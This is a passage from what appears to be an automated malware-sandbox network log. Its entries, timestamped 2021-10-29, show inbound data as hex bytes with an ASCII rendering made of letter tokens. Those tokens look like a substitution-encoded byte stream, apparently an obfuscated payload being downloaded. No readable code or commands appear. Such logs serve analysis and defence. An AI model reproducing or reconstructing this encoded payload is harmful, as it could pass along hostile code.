59 63 20 4e 4d 72 20 63 57 20 63 59 20 4e 4e 63 20 56 4c 4e 20 4e 56 63 20 4e 4d 59 20 4c 4c 20 4e 20 59 59 20 56 4e 4c 20 57 49 20 56 4e 59 20 Data Ascii: NCY VNN NCW NNL YC rr rc Nrr Ir NNY NNM rV NCI YV LL YN Yr rY NNN NC NVr NNL YC NcL rM Nrr Ir cY NNc VVV NVc NIV LL N YY NV WI VYV NVr cM YN cr LI NMI cW cY NNc NNC NNW NII LL N YY NMr NVM VLC NVr cM YN NWc Yc NMr cW cY NNc VLN NVc NMY LL N YY VNL WI VNY
2021-10-29 18:29:09 UTC	1398	IN	Data Raw: 20 72 49 20 59 43 20 59 72 20 4e 4d 49 20 4e 4e 59 20 4e 49 72 20 4d 49 20 4e 4e 4c 20 59 43 20 63 20 59 43 20 49 56 20 4e 43 57 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 57 4c 20 57 20 4e 49 43 20 57 4d 20 63 4d 20 4e 43 57 20 4e 57 56 20 4e 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 56 4d 20 4e 4e 4d 20 4e 59 49 20 4d 57 20 56 4e 4c 20 4c 59 20 4e 43 20 59 72 20 4e 56 20 4d 56 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 4d 4d 20 59 43 20 4e 43 4d 20 4e 43 59 20 4e 4c 43 20 4e 43 56 20 49 4d 20 4e 4e 56 20 4e 72 20 4e 4e 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 72 20 4e 43 57 20 4e 57 4d 20 56 4e 20 56 43 4d 20 4c 4c 20 57 20 49 72 20 4e 72 20 4d 49 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 4d 57 20 Data Ascii: rI YC Yr NMI NNY NIr MI NNL YC c YC IV NCW NNr NNM NCW NNV Ncr rI NWL W NIC WM cM NCW NWV NN rI YC Yr Ir VVM NNM NYI MW VNL LY NC Yr NV MV NNM NCW NNV YC NMM YC NCM NCY NLC NCV IM NNV Nr NN YC Yr Ir NNr Vrr NCW NWM VN VCM LL W Ir Nr MI NCW NNV YC rI NMW
2021-10-29 18:29:09 UTC	1402	IN	Data Raw: 49 20 59 43 20 59 49 20 4e 43 63 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 4e 43 49 20 72 63 20 56 56 4c 20 4c 72 20 4e 72 4c 20 4e 4e 72 20 4e 43 59 20 59 4c 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 4e 56 57 20 4e 4e 59 20 4e 56 49 20 4e 43 43 20 56 4c 63 20 72 49 20 49 20 4e 4e 43 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 4c 43 20 59 43 20 72 4d 20 4c 20 56 4e 57 20 63 72 20 4e 72 4d 20 4e 4e 4d 20 4c 4c 20 72 43 20 59 43 20 72 49 20 59 43 20 59 72 20 4e 57 72 20 4e 4e 72 20 57 20 72 72 20 4e 59 4d 20 4c 49 20 56 4e 56 20 59 43 20 4e 43 72 20 4e 56 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 63 72 20 72 49 20 4e 4e 43 20 72 57 20 4e 49 59 20 4e 43 56 20 4e 72 63 20 4e 43 57 20 72 20 4e Data Ascii: I YC YI NCc Yr Ir NNr NNM VYN NNV NCI rc VVL Lr NrL NNr NCY YL NNV YC rI YC NcC Ir NVW NNY NVI NCC VLc rI I NNC Ir NNr NNM NCW VLC YC rM L VNW cr NrM NNM LL rC YC rI YC Yr NWr NNr W rr NYM LI VNV YC NCr NV NNr NNM NCW NNV Ncr rI NNC rW NIY NCV Nrc NCW r N
2021-10-29 18:29:09 UTC	1406	IN	Data Raw: 4e 4e 56 20 59 43 20 4e 63 63 20 59 43 20 4e 72 57 20 4e 43 72 20 4e 56 72 20 57 57 20 4c 4c 20 4e 4e 4c 20 59 43 20 4e 49 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 56 4d 20 4e 43 57 20 4e 72 57 20 56 72 20 4c 49 20 4c 63 20 4e 56 43 20 49 59 20 56 72 4e 20 56 72 56 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 63 72 20 63 56 20 56 57 20 4e 43 4d 20 4e 43 72 20 4e 56 4c 20 63 4c 20 59 4e 20 4e 56 49 20 4e 49 4e 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 59 4e 20 4e 4e 56 20 57 63 20 72 4e 20 4e 4d 20 4c 56 20 56 4d 20 4e 4e 59 20 4e 4c 4c 20 56 4c 72 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 63 43 20 49 72 20 72 4e 20 4e 43 49 20 4e 49 43 20 4e 56 59 20 57 49 20 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 59 20 4e 43 57 20 56 56 Data Ascii: NNV YC Ncc YC NrW NCr NVr WW LL NNL YC NIL YC Yr Ir NNr VVM NCW NrW Vr LI Lc NVC IY VrN VrV NCW NNV YC rI Ncr cV VW NCM NCr NVL cL YN NVI NIN Yr Ir NNr NNM VYN NNV Wc rN NM LV VM NNY NLL VLr NNV YC rI YC NcC Ir rN NCI NIC NVY WI rW YC Yr Ir NNr VrY NCW VV
2021-10-29 18:29:09 UTC	1410	IN	Data Raw: 49 72 20 56 72 57 20 4e 4e 63 20 4e 4d 72 20 56 43 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 4d 59 20 4e 43 4d 20 57 63 20 59 43 20 4e 49 4d 20 59 4e 20 56 59 43 20 56 72 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 4e 4c 59 20 63 56 20 56 56 57 20 4e 43 43 20 56 72 57 20 4e 43 49 20 4e 63 72 20 4e 72 4d 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 56 43 49 20 4e 56 43 20 4e 4c 4d 20 4c 49 20 4e 57 43 20 59 59 20 4e 4c 4d 20 56 4e 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 43 20 57 59 20 4e 49 43 20 57 57 20 56 56 72 20 4e 4e 4c 20 56 4e 59 20 4e 72 59 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 59 56 20 59 4d 20 56 56 72 20 4c Data Ascii: Ir VrW NNc NMr VCW YC rI YC Yr VNC NVV NMY NCM Wc YC NIM YN VYC VrY NNr NNM NCW NNV NIC Yc NLY cV VVW NCC VrW NCI Ncr NrM rI YC Yr Ir Vrr NVY VCI NVC NLM LI NWC YY NLM VNN NNM NCW NNV YC NIV YI NC WY NIC WW VVr NNL VNY NrY YC Yr Ir NNr VrL NCN YV YM VVr L
2021-10-29 18:29:09 UTC	1413	IN	Data Raw: 20 49 4e 20 56 4e 4d 20 4e 4e 63 20 56 56 4e 20 56 4e 4c 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 56 56 20 4e 49 49 20 4e 56 72 20 4e 43 4d 20 59 43 20 4e 59 63 20 59 4e 20 4e 72 56 20 56 72 4e 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 4e 49 43 20 59 63 20 56 56 4d 20 4c 57 20 56 57 20 4e 4e 57 20 56 4e 4d 20 4e 43 49 20 4e 4d 4d 20 4e 59 4e 20 72 49 20 59 43 20 59 72 20 49 72 20 56 72 72 20 4e 56 59 20 4e 4e 59 20 4e 4e 56 20 4e 4d 4c 20 4c 4d 20 4e 59 57 20 59 59 20 4e 59 4d 20 56 4e 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4d 20 49 72 20 56 4e 4c 20 57 63 20 4e 57 56 20 4e 4e 4c 20 56 56 72 20 4e 72 57 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4e 43 63 20 72 57 20 4e 4d 59 Data Ascii: IN VNM NNc VVN VNL YC rI YC Yr VNC NVV NII NVr NCM YC NYc YN NrV VrN NNr NNM NCW NNV NIC Yc VVM LW VW NNW VNM NCI NMM NYN rI YC Yr Ir Vrr NVY NNY NNV NML LM NYW YY NYM VNY NNM NCW NNV YC NIV YI NM Ir VNL Wc NWV NNL VVr NrW YC Yr Ir NNr VrL NCN NCc rW NMY
2021-10-29 18:29:09 UTC	1418	IN	Data Raw: 56 59 4e 20 72 49 20 56 56 59 20 59 59 20 4d 49 20 56 4e 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 4e 49 56 20 59 49 20 4e 4c 57 20 57 56 20 57 49 20 4e 4e 4d 20 4e 57 43 20 4e 4e 4c 20 4e 4d 20 4e 59 4c 20 59 43 20 59 72 20 49 72 20 4e 4e 72 20 56 72 4c 20 4e 43 4e 20 4d 63 20 59 4d 20 56 72 57 20 59 43 20 56 56 63 20 49 59 20 49 57 20 56 56 43 20 4e 43 57 20 4e 4e 56 20 59 43 20 72 49 20 4e 49 43 20 63 56 20 4e 63 20 4e 56 4e 20 4e 43 4e 20 4e 43 57 20 4e 63 72 20 59 4e 20 72 20 4e 59 59 20 59 72 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 56 4c 59 20 4e 56 43 20 56 4c 59 20 63 43 20 56 59 4e 20 59 72 20 4e 56 57 20 4e 4e 59 20 4d 4c 20 4e 57 63 20 4e 4e 56 20 59 43 20 72 49 20 59 43 20 4e 4d 63 20 57 56 20 4e 72 4d 20 4e 56 4e 20 4e 56 59 20 4e 4e 56 Data Ascii: VYN rI VVY YY MI VNW NNM NCW NNV YC NIV YI NLW WV WI NNM NWC NNL NM NYL YC Yr Ir NNr VrL NCN Mc YM VrW YC VVc IY IW VVC NCW NNV YC rI NIC cV Nc NVN NCN NCW Ncr YN r NYY Yr Ir NNr NNM VLY NVC VLY cC VYN Yr NVW NNY ML NWc NNV YC rI YC NMc WV NrM NVN NVY NNV
2021-10-29 18:29:09 UTC	1422	IN	Data Raw: 20 4e 57 59 20 4e 43 72 20 4e 43 49 20 59 43 20 4d 59 20 4e 59 4d 20 49 72 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 56 72 4c 20 59 43 20 57 49 20 72 49 20 56 56 4e 20 63 4d 20 72 59 20 4e 4e 57 20 56 4c 63 20 56 4e 57 20 59 43 20 72 49 20 59 43 20 59 72 20 56 4e 43 20 4e 43 63 20 56 59 59 20 49 57 20 4e 4e 4d 20 59 43 20 49 43 20 72 49 20 4e 59 43 20 56 59 59 20 4e 4e 72 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 56 4e 4e 20 72 57 20 4e 4c 63 20 56 4e 20 49 59 20 4e 4e 72 20 56 43 20 4e 4e 4e 20 56 4e 56 20 4e 59 4c 20 72 49 20 59 43 20 59 72 20 49 72 20 4e 72 4d 20 4e 4e 63 20 4e 63 59 20 72 49 20 72 4e 20 72 49 20 49 4c 20 59 56 20 72 20 56 56 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 56 20 59 43 20 56 43 57 20 59 57 20 4c 4c 20 4e 43 4d 20 56 43 4c 20 4e 43 57 20 Data Ascii: NWY NCr NCI YC MY NYM Ir NNr NNM NCW VrL YC WI rI VVN cM rY NNW VLc VNW YC rI YC Yr VNC NCc VYY IW NNM YC IC rI NYC VYY NNr NNM NCW NNV VNN rW NLc VN IY NNr VC NNN VNV NYL rI YC Yr Ir NrM NNc NcY rI rN rI IL YV r VVL NNM NCW NNV YC VCW YW LL NCM VCL NCW
2021-10-29 18:29:09 UTC	1426	IN	Data Raw: 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 4e 4e 4c 20 4e 4e 4d 20 4d 63 20 4d 49 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 57 20 57 4c 20 4e 4e 4d 20 4e 43 57 20 4e 4e 72 20 59 43 20 4e 59 59 20 4e 43 20 59 72 20 49 72 20 Data Ascii: C NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir NNL NNM Mc MI YC rI YN Yr rW WL NNM NCW NNr YC NYY NC Yr Ir
2021-10-29 18:29:09 UTC	1430	IN	Data Raw: 43 20 72 49 20 59 4e 20 59 72 20 56 59 4e 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 59 57 20 56 4d 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 4e 57 72 20 49 57 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 59 4c 20 49 57 20 59 43 20 72 49 20 72 49 20 59 72 20 56 4e 57 20 57 4e 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 57 63 20 56 4e 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 63 4e 20 49 4d 20 59 43 20 72 49 20 59 4e 20 59 72 20 72 20 49 59 20 4e Data Ascii: C rI YN Yr VYN WN NNM NCW NNL YC NYW VM Yr Ir NNY NNM NWr IW YC rI YN Yr r IY NNM NCW NNL YC Wc VN Yr Ir NNY NNM cN IM YC rI YN Yr r IY NNM NCW NNL YC Wc VN Yr Ir NNY NNM YL IW YC rI rI Yr VNW WN NNM NCW NNL YC Wc VN Yr Ir NNY NNM cN IM YC rI YN Yr r IY N
2021-10-29 18:29:09 UTC	1434	IN	Data Raw: 20 4e 4e 4d 20 4e 59 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 56 56 20 4e 4e 43 20 59 43 20 72 49 20 59 4e 20 59 72 20 4e 43 4c 20 72 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 49 49 20 57 43 20 59 43 20 72 49 20 72 57 20 59 72 20 4e 4d 20 4d 57 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4e 4d 20 4e 56 20 59 72 20 49 72 20 4e 4e 59 20 4e 4e 4d 20 72 43 20 4d 4d 20 59 43 20 72 49 20 72 49 20 59 72 20 63 4d 20 4e 43 49 20 4e 4e 4d 20 4e 43 57 20 4e 4e 4c 20 59 43 20 4c 20 4e 4e 56 20 59 72 20 49 72 20 4e 4e 56 20 4e 4e 4d 20 4e 57 4d 20 72 49 20 59 43 20 72 49 20 72 57 20 59 72 20 56 72 72 20 59 43 20 4e 4e 4d 20 4e 43 57 20 4e 4e 63 20 59 43 20 4e 56 72 20 56 20 59 72 20 49 Data Ascii: NNM NY Yr Ir NNV NNM NVV NNC YC rI YN Yr NCL rI NNM NCW NNL YC L NNV Yr Ir NNV NNM NII WC YC rI rW Yr NM MW NNM NCW NNL YC NM NV Yr Ir NNY NNM rC MM YC rI rI Yr cM NCI NNM NCW NNL YC L NNV Yr Ir NNV NNM NWM rI YC rI rW Yr Vrr YC NNM NCW NNc YC NVr V Yr I
2021-10-29 18:29:09 UTC	1438	IN	Data Raw: 4c 20 63 49 20 4e 4c 59 20 4e 4e 63 20 59 4e 20 59 56 20 63 72 20 57 20 4e 63 4d 20 4e 4e 49 20 4e 4e 63 20 4e 43 59 20 4e 4e 4d 20 57 20 56 43 4e 20 59 72 20 63 4c 20 49 43 20 4c 4c 20 4e 4e 43 20 4e 72 63 20 4e 4e 63 20 56 4c 49 20 72 49 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 4e 43 43 20 4e 43 59 20 4e 72 43 20 56 4e 20 72 43 20 59 59 20 56 4c 20 49 43 20 4e 57 49 20 49 63 20 4e 43 49 20 4e 4e 56 20 4e 57 20 59 56 20 72 4c 20 4e 4e 49 20 49 59 20 4e 4e 72 20 4e 4e 63 20 4e 43 49 20 4e 49 57 20 4e 4d 20 72 57 20 59 43 20 72 4d 20 49 59 20 56 72 49 20 63 59 20 56 59 20 4e 4e 56 20 56 4d 20 59 56 20 4e 49 72 20 56 20 56 56 20 4e 4e 57 20 57 56 20 4e 43 59 20 4e 72 4e 20 72 4d 20 4e 56 4e 20 59 59 20 4c 4e 20 49 43 20 4e 56 4e 20 59 4c 20 4e 43 49 20 4e Data Ascii: L cI NLY NNc YN YV cr W NcM NNI NNc NCY NNM W VCN Yr cL IC LL NNC Nrc NNc VLI rI NIr V IY NNr NCC NCY NrC VN rC YY VL IC NWI Ic NCI NNV NW YV rL NNI IY NNr NNc NCI NIW NM rW YC rM IY VrI cY VY NNV VM YV NIr V VV NNW WV NCY NrN rM NVN YY LN IC NVN YL NCI N
2021-10-29 18:29:09 UTC	1442	IN	Data Raw: 20 56 43 20 4e 4e 72 20 4e 4d 63 20 63 4c 20 4e 56 4d 20 49 63 20 56 59 43 20 59 4c 20 56 4c 4d 20 4e 56 59 20 4e 56 4c 20 59 43 20 4d 4e 20 4e 4e 49 20 56 4e 56 20 4e 56 4d 20 63 43 20 4e 4e 4e 20 4c 63 20 4e 4e 72 20 4e 4d 63 20 63 4c 20 4e 43 4c 20 49 4e 20 56 4e 4d 20 4e 43 63 20 56 4c 72 20 4e 56 59 20 57 4e 20 59 4c 20 4e 49 72 20 56 20 49 59 20 4e 4e 72 20 56 49 20 4e 43 72 20 4d 72 20 56 72 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 4e 43 20 57 59 20 4e 43 72 20 4e 4e 56 20 57 4e 20 59 4c 20 56 63 20 72 59 20 49 4e 20 4e 4e 72 20 56 49 20 4e 43 72 20 56 4e 4e 20 4e 4c 20 59 4c 20 59 43 20 57 59 20 49 4e 20 4e 72 57 20 57 56 20 4e 43 72 20 4e 4e 56 20 57 57 20 59 4c 20 4e 57 57 20 56 20 56 4e 49 20 4e 56 4d 20 72 20 4e 43 72 20 56 59 43 20 63 20 72 Data Ascii: VC NNr NMc cL NVM Ic VYC YL VLM NVY NVL YC MN NNI VNV NVM cC NNN Lc NNr NMc cL NCL IN VNM NCc VLr NVY WN YL NIr V IY NNr VI NCr Mr Vr YL YC WY IN NNC WY NCr NNV WN YL Vc rY IN NNr VI NCr VNN NL YL YC WY IN NrW WV NCr NNV WW YL NWW V VNI NVM r NCr VYC c r
2021-10-29 18:29:09 UTC	1445	IN	Data Raw: 20 59 4c 20 4e 72 59 20 59 72 20 4d 63 20 4e 4e 43 20 4e 56 72 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4e 43 20 72 43 20 4c 4e 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4c 20 4e 43 63 20 4e 4e 59 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 59 72 20 4e 43 72 20 56 4e 4e 20 59 43 20 4e 4e 56 20 72 63 20 4e 56 4d 20 49 4e 20 4e 57 4c 20 4e 4e 4d 20 4e 57 20 4e 43 63 20 49 4c 20 59 4c 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 49 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 57 43 20 72 43 20 4e 49 4c 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 4d 20 59 4c 20 4e 72 59 20 59 72 20 63 43 20 4e 4e 43 20 56 59 56 20 4e 43 72 20 4e 57 59 20 59 43 20 4e 4d 72 20 72 43 20 4e 59 4e 20 49 4e 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e Data Ascii: YL NrY Yr Mc NNC NVr NCr NWY YC NNC rC LN IN NWL NNM L NCc NNY YL NNL Yr NcV NVY Yr NCr VNN YC NNV rc NVM IN NWL NNM NW NCc IL YL NNL Yr NcV NVY VI NCr NWY YC NWC rC NIL IN rW NNM NYY NVM NMM YL NrY Yr cC NNC VYV NCr NWY YC NMr rC NYN IN rW NNM NYY NVM N
2021-10-29 18:29:09 UTC	1450	IN	Data Raw: 4e 63 56 20 4e 56 59 20 56 72 59 20 4e 4e 63 20 4e 56 4c 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4d 4d 20 4e 56 4e 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20 72 4e 20 59 4d 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 4c 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 59 43 20 4d 4c 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 72 56 20 72 59 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 72 57 20 4e 4e 56 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 59 72 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 49 20 72 63 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 59 4c 20 4e 4e 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 49 63 20 4d 72 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 49 20 72 63 20 4e 4e 4c 20 59 Data Ascii: NcV NVY VrY NNc NVL YC NWI cN Vrc MM NVN NNM NYY NVM VNC rN YM Yr NcV NVY NrW NNL YN YC NWI cN NYC ML rW NNM NYY NVM VrV rY NNL Yr NcV NVY NrW NNV YN YC NWI cN Yr Mr rW NNM NYY NVM NI rc NNL Yr NcV NVY YL NNY YN YC NWI cN Ic Mr rW NNM NYY NVM NMI rc NNL Y
2021-10-29 18:29:09 UTC	1454	IN	Data Raw: 49 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4d 49 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 4e 4c 20 49 59 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 72 63 20 4e 43 49 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 56 4e 43 20 49 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 4e 4d 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 4e 72 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 56 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 4e 49 56 20 4e 43 57 20 72 57 20 4e 4e 4d 20 4e 59 59 20 4e 56 4d 20 4e 72 63 20 57 20 4e 4e 4c 20 59 72 20 4e 63 56 20 4e 56 59 20 4e 49 4e 20 49 72 20 59 4e 20 59 43 20 4e 57 49 20 63 4e 20 56 4e 72 20 4e 43 57 Data Ascii: I rW NNM NYY NVM NMI I NNL Yr NcV NVY VNL IY YN YC NWI cN Vrc NCI rW NNM NYY NVM VNC I NNL Yr NcV NVY NNM Ir YN YC NWI cN VV NCW rW NNM NYY NVM NNr W NNL Yr NcV NVY VN Ir YN YC NWI cN NIV NCW rW NNM NYY NVM Nrc W NNL Yr NcV NVY NIN Ir YN YC NWI cN VNr NCW
2021-10-29 18:29:09 UTC	1458	IN	Data Raw: 56 20 56 4e 59 20 63 43 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 59 43 20 57 57 20 49 4c 20 72 4c 20 72 49 20 59 43 20 4e 4e 4c 20 57 4e 20 56 56 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 43 4d 20 4c 4c 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 56 72 20 49 4c 20 72 4c 20 72 49 20 59 43 20 56 57 20 49 72 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 56 4e 20 59 4e 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 63 43 20 4e 43 59 20 56 4e 56 20 72 4c 20 72 49 20 59 43 20 4e 59 20 49 4c 20 49 4e 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 43 20 59 4d 20 4e 4d 20 72 4d 20 49 72 20 4e 4e 72 20 4e 72 63 20 4e 43 56 20 49 4d 20 72 4c 20 72 49 20 59 43 20 56 56 72 20 4e 43 4d 20 4e 57 57 20 4e 43 49 20 4e 43 57 20 4e 4e 56 20 4e 63 4c 20 4e 4e 72 20 Data Ascii: V VNY cC NM rM Ir NNr YC WW IL rL rI YC NNL WN VVN NCI NCW NNV NCM LL NM rM Ir NNr NcC NVr IL rL rI YC VW Ir IN NCI NCW NNV VN YN NM rM Ir NNr NcC NCY VNV rL rI YC NY IL IN NCI NCW NNV C YM NM rM Ir NNr Nrc NCV IM rL rI YC VVr NCM NWW NCI NCW NNV NcL NNr
2021-10-29 18:29:09 UTC	1462	IN	Data Raw: 4e 4e 72 20 4e 63 72 20 4e 43 49 20 4e 49 4e 20 59 43 20 72 57 20 59 43 20 56 56 49 20 49 59 20 4e 49 4c 20 4e 4e 4d 20 4e 4e 4e 20 4e 4e 56 20 63 4e 20 59 43 20 56 72 59 20 59 72 20 49 63 20 4e 4e 72 20 4e 43 43 20 4e 4e 4e 20 4e 49 59 20 59 43 20 59 72 20 59 43 20 4c 43 20 49 72 20 57 4d 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 72 43 20 59 56 20 4c 4d 20 59 72 20 56 20 4e 4e 72 20 4e 43 59 20 4e 43 59 20 4e 43 59 20 59 43 20 4e 43 56 20 59 43 20 72 43 20 49 43 20 4e 43 59 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 4e 49 20 59 56 20 72 4d 20 59 72 20 56 20 4e 4e 72 20 49 4d 20 4e 43 59 20 4e 4e 4e 20 59 43 20 4e 43 56 20 59 43 20 4e 49 20 49 43 20 49 4c 20 4e 4e 4d 20 59 57 20 4e 4e 56 20 56 43 20 59 56 20 4e 4d 20 59 72 20 4e 59 59 20 49 57 20 4e 4d 56 20 4d 43 20 Data Ascii: NNr Ncr NCI NIN YC rW YC VVI IY NIL NNM NNN NNV cN YC VrY Yr Ic NNr NCC NNN NIY YC Yr YC LC Ir WM NNM YW NNV rC YV LM Yr V NNr NCY NCY NCY YC NCV YC rC IC NCY NNM YW NNV NI YV rM Yr V NNr IM NCY NNN YC NCV YC NI IC IL NNM YW NNV VC YV NM Yr NYY IW NMV MC
2021-10-29 18:29:09 UTC	1466	IN	Data Raw: 20 59 72 20 4e 4d 20 4e 4e 72 20 4e 57 20 4e 43 57 20 59 4c 20 59 43 20 49 4d 20 59 43 20 4e 4e 59 20 49 72 20 56 63 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 57 4e 20 72 49 20 4e 4e 57 20 59 72 20 63 56 20 4e 4e 72 20 72 49 20 4e 43 57 20 56 4d 20 59 43 20 4e 4e 4d 20 59 43 20 57 43 20 49 72 20 59 59 20 4e 4e 4d 20 43 20 4e 4e 56 20 4e 4e 57 20 72 49 20 57 56 20 59 72 20 4e 4d 20 4e 4e 72 20 56 63 20 4e 43 57 20 59 4c 20 59 43 20 63 72 20 59 43 20 4e 4e 59 20 49 72 20 4c 20 4e 4e 4d 20 72 43 20 4e 4e 56 20 63 72 20 72 49 20 4e 4e 57 20 59 72 20 4c 57 20 4e 4e 72 20 72 49 20 4e 43 57 20 72 20 59 43 20 4e 4e 4d 20 59 43 20 63 4d 20 49 72 20 59 59 20 4e 4e 4d 20 56 4d 20 4e 4e 56 20 4e 4e 57 20 72 49 20 63 57 20 59 72 20 4e 4d 20 4e 4e 72 20 4e 4c 20 4e 43 57 20 Data Ascii: Yr NM NNr NW NCW YL YC IM YC NNY Ir Vc NNM rC NNV WN rI NNW Yr cV NNr rI NCW VM YC NNM YC WC Ir YY NNM C NNV NNW rI WV Yr NM NNr Vc NCW YL YC cr YC NNY Ir L NNM rC NNV cr rI NNW Yr LW NNr rI NCW r YC NNM YC cM Ir YY NNM VM NNV NNW rI cW Yr NM NNr NL NCW
